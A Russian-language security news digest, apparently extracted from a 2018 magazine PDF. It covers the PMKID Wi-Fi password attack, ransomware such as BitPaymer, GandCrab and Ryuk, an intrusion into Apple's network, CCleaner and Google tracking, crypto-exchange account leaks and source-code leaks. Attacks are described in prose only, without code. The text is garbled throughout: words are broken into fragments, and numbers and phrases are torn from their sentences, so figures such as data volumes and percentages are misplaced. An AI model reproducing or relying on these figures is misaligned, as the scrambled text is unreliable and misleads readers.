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ЛОМАТЬ WI‐FI СТАЛО
ЛЕГЧЕ
Дженс Сть юб (Jens Steube), автор hashcat, извес тно го инс тру мен та для взло‐ 
ма  паролей,  рас ска зал,  что  най ден  новый,  более  быс трый  спо соб  взло ма
паролей  от  бес про вод ных  сетей.  Новая  методи ка  была  обна руже на  прак‐ 
тичес ки слу чай но, ког да Сть юб и его кол леги иска ли сла бые мес та в WPA3.

Ра нее  подоб ные  ата ки  пред полага ли,  что  ата кующе му  при дет ся  ждать
нуж ного момен та, ког да кто‐нибудь выпол нит вход в сеть и будет совер шено
четырех сто рон нее рукопо жатие EAPOL, в ходе которо го кли ент и роутер вос‐ 
поль зуют ся PMK (Pairwise Master Key) и убе дят ся, что им обо им известен Pre‐
Shared Key  (PSK). Задачей  ата кующе го было  пой мать  этот момент  и  перех‐ 
ватить рукопо жатие.

Но иссле дова тели обна ружи ли, что для WPA и WPA2 в сетях 802.11i/p/q/r
все  может  быть  про ще.  Новая  ата ка  базиру ется  на  исполь зовании  RSN  IE
(Robust Security Network Information Element) и его извле чении из единс твен‐ 
ного кад ра EAPOL. Фак тичес ки ата кующе му нуж но лишь пред при нять попыт ку
аутен тифика ции  в  бес про вод ной  сети,  извлечь  PMKID  из  одно го  кад ра,
а затем, имея на руках дан ные RSN IE, мож но прис тупать к взло му Pre‐Shared
Key.

К  при меру,  для  это го  мож но  исполь зовать  тот  же  hashcat.  Иссле дова тели
отме чают,  что  в  сред нем  взлом  пароля  занима ет  десять  минут,  но  все
зависит от его слож ности.

«Так  как  в  дан ном  слу чае  PMK  тот  же,  что  и  во  вре мя  обыч ного
четырех сто рон него  рукопо жатия,  это  иде аль ный  век тор  ата ки.  Мы
получа ем  все  необ ходимые  дан ные  из  пер вого  же  кад ра  EAPOL»,  —
пишет Сть юб.

По ка  спе циалис ты не  сооб щают,  какие роуте ры  каких имен но про изво дите‐ 
лей  уяз вимы  к  такому  век тору  атак.  Ско рее  все го,  проб лема  акту аль на
для  всех  «сов ремен ных  мар шру тиза торов»  со  вклю чен ными  фун кци ями
роумин га, работа ющих с IEEE 802.11i/p/q/r.

 ГБАЙТ ДАН НЫХ ПОХИТИ ЛИ У APPLE90

Авс тра лий ские пра воох раните ли предъ яви ли обви нения   под рос тку, который неод‐ 
нократ но про никал в сеть ком пании Apple в прош лом году. Адво кат обви няемо го утвер жда ет,
что  юный  взлом щик  не  пытал ся  при чинить  Apple  вред,  а  был  огромным  фанатом  ком пании
и меч тал ког да‐нибудь устро ить ся туда на работу.

16-лет нему

Не извес тно, в какую имен но часть инфраструк туры про ник под росток, но он похитил око ло 
Гбайт зак рытых дан ных и яко бы сумел получить дос туп к поль зователь ским акка унтам. IP‐адре‐ 
са и серий ные номера его  устрой ств сов пада ют с  «зас вечен ными» во вре мя атак. Хуже  того,
сле дова тели обна ружи ли похищен ные у Apple фай лы в дирек тории Hacky Hack Hack.
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ШИФРОВАЛЬЩИКИ
АТАКУЮТ
Ка залось бы, ИБ‐спе циалис ты по все му миру дав но фик сиру ют спад популяр‐ 
ности шиф роваль щиков и утвер жда ют, что им на сме ну при шел скры тый май‐ 
нинг, без пре уве личе ния став ший трен дом текуще го года. Одна ко это не зна‐ 
чит,  что шиф роваль щики  ста ли  менее  опас ны,  прос то  их  опе рато ры  перек‐ 
лючили свое вни мание с рядовых поль зовате лей на орга низа ции и ком пании.

Ма танус ка‑Сусит на под ата кой
В августе  2018  года  про изош ло  сра зу  нес коль ко  инте рес ных  событий,  нап‐ 
рямую или кос венно свя зан ных с раз личны ми шиф роваль щиками. Но самой
инте рес ной  исто рией  опре делен но  ста ла  ата ка  шиф роваль щика  BitPaymer
на одно из боро Аляс ки, Матанус ка‐Сусит на. В резуль тате инци ден та муници‐ 
паль ная ИТ‐инфраструк тура прак тичес ки выш ла из строя, а от исполь зования
элек трон ной  поч ты  и  телефо нов  вре мен но  приш лось  отка зать ся  в  поль зу
печат ных машинок и рукопис ного вво да.

Слу чив шееся  инте рес но  и  потому,  что  руководс тво  боро  в  целом
и  ИТ‐дирек тор  Эрик  Уай етт  (Eric  Wyatt)  в  час тнос ти  не  скры вали  деталей
инци ден та  и  очень  под робно  и  проз рачно  рас ска зали  обо  всех  проб лемах,
которые пов лекла за собой эта ата ка.

Пер вые  приз наки  сто рон него  вме шатель ства  были  замече ны  еще  в
середи не июля 2018 года, ког да пос ле обновле ния анти вирус McAfee, уста‐ 
нов ленный  на  компь юте рах  боро,  вдруг  начал  обна ружи вать  некий  тро ян
в  сис темах,  работа ющих  под  управле нием Windows  7.  Как  выяс нилось  поз‐ 
днее, мал варь про ник ла в сеть боро еще в начале мая текуще го года.

Ан тивирус  не  справ лялся  с  уда лени ем  всех  ком понен тов  зараже ния,
поэто му  спе циалис ты  были  вынуж дены  написать  скрипт,  который  под чищал
то,  что оста лось пос ле работы McAfee. Его пла ниро вали запус тить 23 июля,
а  так же  сот рудни ки  собира лись  ини цииро вать  при нуди тель ную  сме ну
паролей для всех поль зовате лей и адми нис тра тив ных учет ных записей.

Уай етт  рас ска зыва ет,  что  имен но  работа  скрип та,  похоже,  и  спро воци‐ 
рова ла  запуск  ком понен та‐шиф роваль щика.  Веро ятно,  таким  обра зом  сра‐ 
ботал  авто мати чес кий  «пре дох ранитель»  в  коде  зло умыш ленни ков,  а  воз‐ 
можно, опе рато ры ата ки все это вре мя вни матель но наб людали за про исхо‐ 
дящим и, заметив, что их рас кры ли, отда ли мал вари соот ветс тву ющую коман‐ 
ду с управля юще го сер вера.

В  ито ге  шиф роваль щик  поразил  500  рабочих  стан ций  (на  базе Windows
7 и 10), а  так же 120 из 150 сер веров Матанус ка‐Сусит ны. Пос ле это го спе‐ 
циалис ты  боро  при няли  решение  не  ждать  про дол жения  ата ки  и  ухуд шения
ситу ации  и  начали  самос тоятель но  уво дить  всю  сеть  и  сис темы  в  офлайн
(вклю чая  телефо нию,  поч товые  сер веры,  компь юте ры  сот рудни ков),  уве‐ 
домив о про исхо дящем ФБР.

Слу жащим приш лось очис тить и пере уста новить весь софт на 650 рабочих
компь юте рах и сер верах, по сути вос создав всю инфраструк туру боро с нуля.
В  этом нелег ком деле им  выз вались  помочь 20 раз личных  государс твен ных
и  час тных  орга низа ций.  В  это  вре мя  прос тые  слу жащие  были  вынуж дены
«вер нуть ся»  на  нес коль ко  десят ков  лет  назад,  дос тать  со  скла дов  печат ные
машин ки  и  каль кулято ры,  за  спра воч ной  информа цией  обра щать ся  к  биб‐ 
лиотеч ным кни гам, а мно гие докумен ты писать от руки.

Эрик  Уай етт  убеж ден,  что  боро  стол кну лось  с  хорошо  орга низо ван ной
и про думан ной ата кой и это был «не какой‐то пацан, живущий в мамином под‐ 
вале».

Со обща ется, что ата ка не зат ронула офи циаль ный сайт Матанус ка‐Сусит‐ 
ны (через который влас ти и рас ска зыва ли о про исхо дящем во всех деталях),
а  так же  не  пос тра дали  дан ные  поль зовате лей  и  информа ция  о  пла теж ных
кар тах,  хра нив шаяся  у  сто рон них  про вай деров.  Кро ме  того,  часть  дан ных
в ито ге уда лось вос ста новить из бэкапов, хотя отдель ные из них датиро ваны
прош лым годом, а некото рая информа ция  (к при меру, элек трон ные пись ма)
все же была уте ряна.

Как уже было ска зано, спе циалис ты уста нови ли, что при чиной это го хаоса
стал  шиф роваль щик  BitPaymer.  Так же  в  отче те  о  рас сле дова нии  говорит ся,
что  зло умыш ленни ки  зарази ли  сеть  боро  бан кером  Emotet  и  име ли  дос туп
к сети через Active Directory. Из‐за это го теперь есть осно вания полагать, что
во вре мя ата ки все же были ском про мети рова ны и похище ны какие‐то дан‐ 
ные.

На пом ню, что в 2017 году имен но мал варь BitPaymer 
в Шот ландии, попав на стра ницы СМИ все го мира, а в начале 2018 года ана‐ 
лити ки  ESET  ,  что  BitPaymer,  веро ятно,  был  соз дан
теми  же  хакера ми,  которые  сто ят  за  извес тным  бот нетом Necurs  и  бан ков‐ 
ским тро яном Dridex.

ата кова ла боль ницы

выд винули  теорию  о  том

Так же  ста ло  извес тно,  что,  помимо Матанус ка‐Сусит ны,  от  похожих  атак
пос тра дали еще города на Аляс ке (вклю чая город Вал диз) и в дру гих шта тах
США.  Офи циаль ное  сооб щение  об  инци ден те  дей стви тель но  было  опуб‐ 
ликова но  влас тями  Вал диза  еще  в  кон це  июля,  одна ко  в  нем  упо мина ется
лишь  некий  абс трак тный  «вирус»,  речи  о  BitPaymer  или  каком‐либо  дру гом
шиф роваль щике  там  не  идет.  По  сло вам  Уай етта  и  дан ным  сле дова телей,
боро  ста ло  жер твой  номер  210,  то  есть  где‐то  мол чат  о  слу чив шемся
еще 209 пос тра дав ших.

Сог ласно офи циаль ным сооб щени ям, выкуп зло умыш ленни кам руководс‐ 
тво Матанус ка‐Сусит ны решило не пла тить прин ципи аль но. Уай етт писал, что
зашиф рован ные  мал варью  дан ные  будут  хра нить ся  годами,  если  это  пот‐ 
ребу ется, но он наде ется, что в конеч ном ито ге ФБР и прив лечен ные к рас‐ 
сле дова нию  спе циалис ты  суме ют  пре дос тавить  сот рудни кам  боро  клю чи
для дешиф ровки и информа ция будет вос ста нов лена.

Ав тор GandCrab про тив
Од ним  из  наибо лее  «замет ных» шиф роваль щиков  2018  года  ста ла мал варь
GandCrab, о которой мы уже рас ска зыва ли неод нократ но.

В  середи не  июля  2018  года  южно корей ские  спе циалис ты  из  ком пании
AhnLab  наш ли  «вак цину»,  защища ющую  от  шиф роваль щика  GandCrab  вер‐ 
сии  4.1.2.  Иссле дова тели  обна ружи ли,  что  пре дот вра тить  сра баты вание
шиф роваль щика  мож но  очень  прос тым  спо собом:  дос таточ но  соз дать  спе‐ 
циаль ные  фай лы  вида  [шес тнад цатерич ная_пос ледова тель ность].lock
в дирек тори ях C:\Documents and Settings\All Users\Application Data  (для Win‐
dows  XP)  или C:\ProgramData  (для Windows  7,  8  и  10). Наличие  этих фай лов
в сис теме поз воля ет обма нуть мал варь, зас тавив GandCrab счи тать, что этот
компь ютер уже был заражен ранее.

В  ответ  на  это  раз работ чик  GandCrab  решил  объ явить  иссле дова телям
вой ну.  Вирусо писа тель,  скры вающий ся  под  псев донимом  Crabs,  вышел
на связь с изда нием Bleeping Computer и заявил, что обна ружен ный ана лити‐ 
ками AhnLab спо соб защиты оста вал ся акту ален лишь пару часов, пос ле чего
была выпуще на новая вер сия шиф роваль щика. Хуже того, Crabs сооб щил, что
нашел баг в анти виру се AhnLab v3 Lite и намерен его исполь зовать.

«Мой экс пло ит ста нет пят ном на репута ции AhnLab, которое запом нят
на  дол гие  годы»,  —  писал  Crabs,  пре дос тавив  жур налис там  ссыл ку
на свой экс пло ит.

Жур налис ты не собира лись пре давать этот факт огласке, пока инже неры Ahn‐
Lab  не  изу чат  раз работ ку  вирусо писа теля  и,  если  пот ребу ется,  не  выпус тят
патч.  Одна ко  в  начале  августа  эксперт  Malwarebytes  пуб лично  рас ска зал
в Twitter об обна руже нии новых вер сий GandCrab (4.2.1 и 4.3), в коде которых
был  замечен  тот  самый  экс пло ит  для  про дук ции  AhnLab  (с  ком мента рием
«при вет AhnLab, счет — 1:1»).

Пос ле  это го  выяс нилось,  что  экс пло ит  Crabs  работа ет  не  сов сем  так,
как  было  задума но.  Сра зу  нес коль ко  ИБ‐спе циалис тов  изу чили  проб лему
и приш ли к однознач ному зак лючению, что баг, который пыта ется экс плу ати‐ 
ровать  прес тупник,  —  это  отказ  в  обслу жива нии  (DoS).  Из‐за  него  может
«падать»  один  из  ком понен тов  анти виру са  AhnLab,  а  в  отдель ных  слу чаях
и вся опе раци онная сис тема.

Но один из дирек торов AhnLab объ яснил изда нию, что код, интегри рован‐ 
ный в GandCrab 4.2.1 и 4.3, выпол няет ся уже пос ле исполне ния самой мал‐ 
вари и зараже ния нор маль ных фай лов. То есть анти вирус AhnLab обна ружи‐ 
вает  и  ней тра лизу ет  мал варь  задол го  до  того,  как  та  попыта ется  вос поль‐ 
зовать ся DoS‐экс пло итом. В ито ге шан сы на успешное сра баты вание экс пло‐ 
ита край не малы. При этом раз работ чики под черки вают, что Crabs не обна‐ 
ружил какой‐то страш ный 0day‐баг и вряд ли его спо соб поз воля ет исполнить
какой‐либо допол нитель ный пей лоад.

Так же  инже неры  AhnLab  отме тили,  что  испра вить  проб лему,  обна ружен‐ 
ную Crabs, сов сем не  труд но и патч вый дет в бли жай шее вре мя. С релизом
«зап латки» авто ры анти виру са пла ниру ют устра нить некую фун дамен таль ную
недора бот ку, дела ющую такие ата ки воз можны ми в прин ципе.

Ин терес но,  что  еще  вес ной  текуще го  года  иссле дова тели  Bitdefender
выпус тили бес плат ный инс тру мент для рас шифров ки фай лов, пос тра дав ших
от  атак  всех  акту аль ных  на  тот  момент  вер сий  шиф роваль щика  GandCrab.
Тог да  же  румын ская  полиция  сооб щила  об  арес те  подоз рева емых  в  рас‐ 
простра нении вре донос ного спа ма. Но пос ле это го Crabs не попытал ся «пой‐ 
ти  вой ной»  на  ком панию  Bitdefender.  Ког да  жур налис ты  поин тересо вались
у него — почему, он не отве тил, лишь ска зал, что это была «хорошая работа».

640 000 за пару недель
Как  уже  было  ска зано  выше,  мно гие  опе рато ры  вымога тель ской  мал вари
перек лючили  свое  вни мание  на  ком пании  и  орга низа ции.  Вмес то  атак
на рядовых поль зовате лей  теперь они ата куют боль ницы,  учеб ные  учрежде‐ 
ния, муници паль ные влас ти неболь ших городов.

От личной  иллюс тра цией  этой  тен денции  слу жит  шиф роваль щик  Ryuk,
который впер вые замети ли 13 августа 2018 года, — пер вым о нем сооб щил
незави симый ИБ‐спе циалист, извес тный под псев донимом MalwareHunter.

С  тех пор в соци аль ных сетях и на спе циали зиро ван ных ресур сах появи‐ 
лись  мно гочис ленные  сооб щения  пос тра дав ших  от  этой  угро зы.  На  нового
вымога теля  обра тили  вни мание  экспер ты  сра зу  нес коль ких  ком паний,
но пока никому не уда лось понять,  как имен но рас простра няет ся вре донос.
Иссле дова тели полага ют, что опе рато ры Ryuk исполь зуют узко нап равлен ный
фишинг или пло хо защищен ные RDP‐соеди нения,  так  как мал варь заража ет
по одной ком пании за раз, и зло умыш ленни ки, похоже, дей ству ют вруч ную.

К при меру, отчет, пос вящен ный деятель нос ти Ryuk, уже опуб ликова ли спе‐ 
циалис ты ком пании Check Point. Они счи тают, что за соз дани ем Ryuk может
сто ять та же хакер ская груп па, которая раз работа ла шиф роваль щик Hermes.
Или как минимум у опе рато ров Ryuk был дос туп к исходным кодам Hermes.

На пом ню,  что  Hermes    сот рудни ком  ком пании  Emsisoft
Фаби аном  Восаром  (Fabian  Wosar)  в  2017  году.  Тог да  эксперт  отре вер сил
шиф роваль щик  в  пря мом  эфи ре  на  YouTube,  а  поз же  выложил  резуль таты
сво его иссле дова ния и дешиф ровщик для этой вер сии вымога теля в Сеть.

был  обна ружен

Вско ре  пос ле  это го  появил ся  Hermes  вто рой  вер сии,  который  дешиф‐ 
ровке  уже  не  под давал ся.  Затем,  осенью  2017  года,  обновлен ный  Hermes
был задей ство ван во вре мя ата ки на тай вань ский банк Far Eastern International
Bank  (FEIB)  и  исполь зовал ся  для  отвле чения  вни мания. Этот  инци дент  стал
новей шим  на  тот  момент  зве ном  в  длин ной  цепоч ке  взло мов,  свя зан ных
с  меж дународ ной  бан ков ской  сис темой  SWIFT.  Тог да  экспер ты  обо рон ной
кор порации  BAE  Systems  пред положи ли,  что  ата ка  свя зана  с  северо корей‐ 
ской  хакер ской  груп пой  Lazarus  (она  же  Dark  Seoul).  В  свою  оче редь,  спе‐ 
циалис ты ком пании Intezer Labs даже сумели обна ружить опре делен ное тож‐ 
дес тво исходных кодов Hermes и дру гих инс тру мен тов Lazarus.

Те перь ана лити ки Check Point сооб щают, что у Hermes и Ryuk тоже очень
мно го обще го. К при меру, фун кции, отве чающие за шиф рование отдель ных
фай лов,  выг лядят  поч ти  иден тично.  Оба  шиф роваль щика  исполь зуют  оди‐ 
нако вые  мет ки  фай лов,  а  их  про вер ка  тоже  выпол няет ся  прак тичес ки  оди‐ 
нако во.  Вымога тели  добав ляют  в  «белые  спис ки»  одни  и  те  же  дирек тории
(AhnLab, Microsoft, $Recycle.Bin и так далее), исполь зуют один и тот же скрипт
для уда ления теневых копий и бэкапов.

Бы ли най дены вер сии Ryuk, пред назна чен ные для 32‐ и 64‐бит ных сис тем,
при чем  исходные  коды  обе их  вер сий  име ют  сходс тво  с  Hermes.  Экспер ты
Check Point отме чают, что такое подобие исходных кодов мал вари для раз ных
архи тек тур  может  объ яснять ся  тем,  что  в  осно ве  этих  вер сий  лежат  иден‐ 
тичные исходни ки.

Од нако были обна руже ны и раз личия. Так, спе циалис ты Check Point и Mal‐
wareHunter  замети ли,  что  перед  началом  работы  Ryuk  лик видиру ет
на  заражен ной  машине  длин ный  спи сок  сер висов  и  при ложе ний.  В  общей
слож ности  вымога тель  оста нав лива ет  более  40  про цес сов  и  180  сер висов,
через исполь зование taskkill и net stop.

Так же обна ружи лось, что Ryuk показы вает сво им жер твам раз ные вер сии
сооб щений  с  тре бова нием  выкупа.  Сущес тву ют  длин ная  и  корот кая  вер сии
пос лания, и обе пред лага ют жер твам свя зать ся с авто рами Ryuk по элек трон‐ 
ной поч те.

В  более  длин ной  и  деталь ной  вер сии  зло умыш ленни ки  тре буют  выкуп
в раз мере 50 бит кой нов (поряд ка 320 тысяч дол ларов), а в более корот кой —
от  15  до  35 бит кой нов  (в  сред нем 224  тысячи  дол ларов). Похоже,  в  раз ных
слу чаях  прес тупни ки  выбира ют  раз ные  уров ни  устра шения  жертв,  дей ствуя
по  обсто ятель ствам.  Это  слу жит  еще  одним  аргу мен том  в  поль зу  того,  что
соз датели шиф роваль щика про водят свои ата ки вруч ную, тща тель ным обра‐ 
зом изу чая жертв и не жалея на это ресур сов и вре мени.

Хо тя  бит койн‐адре са  уни каль ны  для  каж дой  жер твы  и  прос ледить
за  «дохода ми»  груп пиров ки  доволь но  слож но,  по  дан ным  иссле дова телей,
в  нас тоящее  вре мя  опе рато ры  Ryuk  «зарабо тали»  как  минимум  640  тысяч
дол ларов и явно не собира ются оста нав ливать ся на дос тигну том.

ДЖОН МАКАФИ ПОЯС НИЛ, ЗАЧЕМ ЗАНИМА ЕТСЯ РЕК ‐
ЛАМОЙ СТРАН НЫХ ICO
Джон  Макафи  дал  интервью  сай ту  Eth  News,  в  котором  пояс нил,  зачем  он  прод вига ет  ICO
непонят ных  стар тапов  и  пишет  в  Twitter  о  весь ма  спор ных  крип товалют ных  про ектах  и  тех‐ 
нологи ях.

→«Понима ете, все, что я делаю, — это мар кетинг. […] Я счи таю, что мои тех нологи чес кие спо‐ 
соб ности  не  име ют  рав ных.  Но  свою  работу  я  харак теризую  как  мар кетинг.  По‐моему,  мар‐ 
кетинг куда важ нее тех нологий. Ведь что такое мар кетинг? Мар кетинг — это то, что обес печива‐ 
ет появ ление инно ваций на свет. Мно жес тво инно ваций не выш ли в свет из‐за отсутс твия мар‐ 
кетин га.  Или  из‐за  того,  что  их  мар кетинг  не  был  иде ален.  И  можете  быть  уве рены,  если  я
что‐то рек ламирую, оно уви дит свет»,
— Джон Макафи

ОНИ СЛЕДЯТ
ЗА ТОБОЙ
Раз работ чиков  сра зу  нес коль ких  круп ных  ком паний  обви нили  в  слеж ке
за поль зовате лями.

CCleaner
Поль зовате ли популяр ней шей ути литы CCleaner, пред назна чен ной для очис‐ 
тки  и  опти миза ции ОС  семей ства Windows,  обру шились  с  кри тикой  на  раз‐ 
работ чиков ком пании Piriform. Дело в том, что в новой вер сии CCleaner (5.45)
была обна руже на неот клю чаемая прог рамма «активно го монито рин га» (Active
Monitoring). В отли чие от пре дыду щих вер сий, 5.45 поп росту не име ла соот‐ 
ветс тву ющих нас тро ек при ват ности, поз воля ющих отка зать ся от это го обез‐ 
личен ного сбо ра дан ных.

Продолжение статьи →
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И хотя, казалось бы, у поль зовате лей была воз можность открыть «Нас трой ки
→ Монито ринг» и там отка зать ся от сис темно го и активно го монито рин га, те
сно ва  вклю чались  уже  при  сле дующем  запус ке  прог раммы  (разуме ется,
без ведома поль зовате ля).

Ху же того, даже зак рыть новую вер сию CCleaner ока залось неп росто. Пос‐ 
ле нажатия на крес тик прог рамма поп росту сво рачи вает ся в область уве дом‐ 
лений, а ее икон ка не поз воля ет оста новить работу. Фак тичес ки единс твен‐ 
ный  спо соб  зак рыть  CCleaner  —  при нуди тель но  лик видиро вать  его  через
дис петчер задач.

Нуж но  ска зать,  что  это  далеко  не  пер вые  новов ведения,  воз мутив шие
поль зовате лей.  В  прош лом  году  Piriform  при обре ла  ком пания  Avast,  и  с  тех
пор неп рият ные изме нения про исхо дят регуляр но. Так, вышед шая в мае вер‐ 
сия  CCleaner  5.43  лишила  поль зовате лей  бес плат ной  вер сии  воз можнос ти
отка зать ся  от  обме на  дан ными.  Вер сия  CCleaner  5.44,  вышед шая  в  июне,
обза велась  всплы вающей  рек ламой.  И  теперь  появил ся  CCleaner  5.45,  где
нель зя  отка зать ся  от  активно го  монито рин га  и  слож но  даже  завер шить
работу прог раммы.

Пос ле  того  как  стран ное  поведе ние  CCleaner  5.45  рас кри тико вали
не  толь ко  поль зовате ли,  но  и  ИБ‐спе циалис ты  с  отрасле выми  СМИ,  раз‐ 
работ чики  все  же  прис лушались  к  общес твен ному  мне нию.  Было  при нято
решение  вер нуть ся  к  вер сии  5.44,  которая  вновь  ста ла  самой  «све жей»
из  всех  дос тупных  для  заг рузки.  Раз работ чики  пообе щали,  что  дорабо тают
новую вер сию и в ней появит ся воз можность завер шения работы прог раммы.
Так же сооб щает ся, что кли нин говая фун кци ональ ность будет чет ко отде лена
от ана лити чес кой, а для управле ния ими появят ся соот ветс тву ющие нас трой‐ 
ки, которые CCleaner будет запоми нать пос ле зак рытия.

По мимо  это го,  инже неры  Piriform  пла ниру ют  под готовить  под робные
информа цион ные бюл летени, которые рас ска жут, какие имен но дан ные ком‐ 
пания и ее про дук ты собира ют о поль зовате лях и в каких целях эта информа‐ 
ция потом исполь зует ся.

Google
Жур налис ты  Associated  Press  опуб ликова ли  резуль таты  рас сле дова ния,  сог‐ 
ласно которым сер висы Google сле дят за поль зовате лями мобиль ных устрой‐ 
ств,  даже  если  те  отклю чили  запись  «исто рии  мес тополо жений»  (Location
History).

Каж дый раз,  ког да  ты жела ешь  вос поль зовать ся  сер висом  вро де Google
Maps, устрой ство зап рашива ет раз решение на дос туп к дан ным о мес тополо‐ 
жении  (к  при меру,  если  это  нуж но  для  навига ции).  По  дан ным  Associated
Press,  если  поль зователь  iOS‐  или  Android‐устрой ства  не  дает  на  это  раз‐ 
решения, мно гие сер висы Google все рав но будут сле дить за ним. Даже в том
слу чае, если «исто рия мес тополо жений» умыш ленно вык лючена. Фак тичес ки
ее  отклю чение  озна чает  лишь,  что  информа ция  не  вно сит ся  в  Timeline  и  не
вид на самому поль зовате лю.

«Нап ример,  Google  фик сиру ет  ваше  мес тонахож дение  сра зу  же,
как  толь ко  вы  откры ваете  при ложе ние Google Maps.  Авто мати чес кие
ежед невные  обновле ния  погоды  на  Android-смар тфо нах  поз воля ют
приб лизитель но  понять,  где  вы  находи тесь, —  пишут  жур налис ты. —
А поис ковые зап росы, никак не свя зан ные с  текущей локаци ей, нап- 
ример  „печенье  с  шоколад ной  крош кой“  или  „науч ные  наборы
для детей“, поз волят опре делить вашу широту и дол готу (с точ ностью
до квад ратно го фута), и [эти дан ные] будут сох ранены в вашем акка- 
унте Google».

Что бы под твер дить свои опа сения, жур налис ты заручи лись под дер жкой уче‐ 
ных из Прин стонско го уни вер ситета. Сов мес тно им уда лось вос создать кар ту
всех перед вижений одно го из иссле дова телей, хотя фун кция Location History
на его Android‐смар тфо не была отклю чена.

Как  выяс нилось,  что бы  пол ностью  отка зать ся  от  слеж ки,  необ ходимо
покопать ся  в    и  най ти  пункт Web  and  App  Activity
(«Исто рия при ложе ний и веб‐поис ка»), активный по умол чанию. Лишь пос ле
его отклю чения сбор дан ных прек раща ется.

нас трой ках  учет ной  записи

Пред ста вите ли  Google  уже  про ком менти рова ли  пуб ликацию  Associated
Press, заявив, что ком пания ничего не наруша ет и пре дос тавля ет поль зовате‐ 
лям  все  необ ходимые  инс тру мен ты  для  отклю чения  сбо ра  информа ции
и очис тки исто рии. Так же в Google отме тили, что дан ные о мес тополо жении
помога ют улуч шить качес тво обслу жива ния поль зовате лей.

Впро чем, спе циалис ты Прин стонско го уни вер ситета и жур налис ты Associ‐
ated Press все рав но называ ют это «слеж кой» и нас таивают на том, что отклю‐ 
чение  «исто рии  мес тополо жений»  дол жно  отклю чать  «слеж ку»,  а  ком пания
намерен но  вво дит  поль зовате лей  в  заб лужде ние.  По  мне нию  иссле дова‐ 
телей, под угро зой ока зыва ется при ват ность двух мил лиар дов поль зовате лей
Android и сотен мил лионов поль зовате лей iOS.

ПОЛЬ ЗОВАТЕ ЛИ КРИП ТОВАЛЮТ НЫХ БИРЖ ПОД АТА КОЙ
Ис сле дова тели Group‐IB изу чили утеч ки  учет ных дан ных поль зовате лей крип товалют ных бирж
и про ана лизи рова ли харак тер этих инци ден тов. В 2017 году, одновре мен но с рез ким уве личе‐ 
нием инте реса к крип товалю там, рекор дны ми показа теля ми их капита лиза ции и взле том кур са
бит кой на, про изош ли десят ки атак на крип товалют ные сер висы.

Эк спер ты про ана лизи рова ли кра жу   поль зователь ских учет ных записей (логинов и паролей)
 круп ней ших крип товалют ных бирж.
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Ском про мети рован ные  учет ные  записи  отно сят ся  к  сле дующим  сер висам:  Binance,  Bit‐z,
Bitfinex, Bithumb, Bitstamp, Bittrex, BTCC, CEX.io, Coinone, Gate.io, GDAX, Gemini, HitBTC, Huobi,
Kraken, KuCoin, OKEx, Poloniex, Wex.nz.

На иболь шее чис ло ском про мети рован ных учет ных записей приш лось на бир жи Poloniex — 
учет ные записи, Bittrex —  , CEX.io —  , HitBTC —  , Kraken —  .
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С 2016 по 2017 год чис ло ском про мети рован ных учет ных записей поль зовате лей крип товалют‐ 
ных бирж уве личи лось на  .369%

Из‐за  повышен ного  инте реса  к  крип товалю там и  блок чейн‐индус трии  количес тво  инци ден тов
в  янва ре  2018  года  вырос ло  на    по  срав нению  со  сред немесяч ным  показа‐ 
телем 2017 года.

689%

 — три стра ны, в которых зарегис три рован ные поль зовате ли чаще дру‐ 
гих ста нови лись жер тва ми кибера так.
США, Рос сия и Китай

Уда лось  выявить    активных  бот нетов,  задей ство ван ных  для  кибера так  на  поль зовате лей
крип товалют ных  бирж.  Инфраструк тура  кибер прес тупни ков  в  основном  базиру ется  в  США
( ), Нидер ландах ( ), Укра ине ( ) и Рос сии ( ).
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56,1% 21,5% 4,3% 3,2%

Пер вая и основная при чина ком про мета ции акка унтов — игно риро вание двух фактор ной аутен‐ 
тифика ции, как поль зовате лями, так и самими бир жами.

Сог ласно  иссле дова нию,  про веден ному  Кем бридж ским  цен тром  аль тер натив ного  финан‐ 
сирова ния,    бирж  пре дос тавля ют  опци ональ ную  2ФА  для  вхо да  поль зовате лей  в  свои
акка унты, но лишь   счи тают ее обя затель ной.

75%
23%

Толь ко  у    сер висов  для  про веде ния  всех  тор говых  опе раций  обя затель но  исполь‐ 
зовать 2ФА, и   обя зыва ют сво их кли ентов исполь зовать ее для вывода средств.

35%
11%

Мень ше   бирж счи тают акти вацию 2ФА обя затель ной минималь ной мерой для пре дот вра‐ 
щения несан кци они рован ного дос тупа к фун кци ональ ным воз можнос тям акка унта.

50%

УТЕЧКИ ИСХОДНЫХ
КОДОВ
Утеч ки исходных кодов популяр ных про дук тов или опас ной мал вари слу чают‐ 
ся не так уж час то, но в этом месяце про изош ло сра зу нес коль ко таких инци‐ 
ден тов.

Snapchat
В  начале  августа  2018  года  СМИ  и  ИБ‐спе циалис ты  обра тили  вни мание
на GitHub‐репози торий, зак рытый из‐за жалобы на наруше ние DMCA (Digital
Millennium Copyright Act, Закон об автор ском пра ве в циф ровую эпо ху). В этой
жалобе  пред ста вите ли  ком пании  Snap  Inc.  тре бова ли  немед ленно  уда лить
содер жимое репози тория с сай та,  так  как  «ВСЁ ЭТО УТЕК ШИЕ ИСХОДНЫЕ
КОДЫ» (боль шими бук вами написан весь зап рос на уда ление).

Пос ле  того  как  слу чив шееся  пре дали  огласке,  пред ста вите ли  Snap  Inc.
были вынуж дены пояс нить, что в мае 2018 года обновле ние iOS‐вер сии при‐ 
ложе ния слу чай но рас кры ло часть исходных кодов при ложе ния Snapchat. Раз‐ 
работ чики завери ли, что ошиб ку быс тро испра вили и утеч ка никак не ком про‐ 
мети рова ла  безопас ность  при ложе ния  и  его  поль зовате лей,  одна ко  кто‐то
успел сох ранить исходни ки, а затем при нял ся пуб ликовать их в откры том дос‐ 
тупе.

Ин терес но, что в Twitter теперь появ ляют ся сооб щения на англий ском и араб‐ 
ском  язы ках,  написан ные  от  лица  нес коль ких  поль зовате лей. Они  угро жают
про дол жить  пуб ликовать  исходные  коды  в Сети,  если раз работ чики  не  вып‐ 
латят  им  некую  «наг раду»  (офи циаль ной  bug  bounty  прог раммы  у  ком пании
нет). Судя по все му, Snap Inc. ста ла жер твой шан тажа. Инте рес но, что пос ле
уда ления пер вого репози тория на GitHub были раз мещены как минимум две
копии утек ших исходни ков.

DexGuard
Так же в этом месяце с GitHub был спеш но уда лен исходный код популяр ного
инс тру мен та  DexGuard,  который  раз рабаты вает  ком пания  Guardsquare.
Это  решение  явля ется  плат ным  ана логом  Proguard  (рас простра няет ся
под  лицен зией GPL)  и  исполь зует ся  для обфуска ции и  защиты Android‐при‐ 
ложе ний  от  обратно го  инжи нирин га  и  взло ма.  DexGuard  при меня ется  раз‐ 
работ чиками  для  защиты  от  взло ма  и  кло ниро вания  при ложе ний  (порой
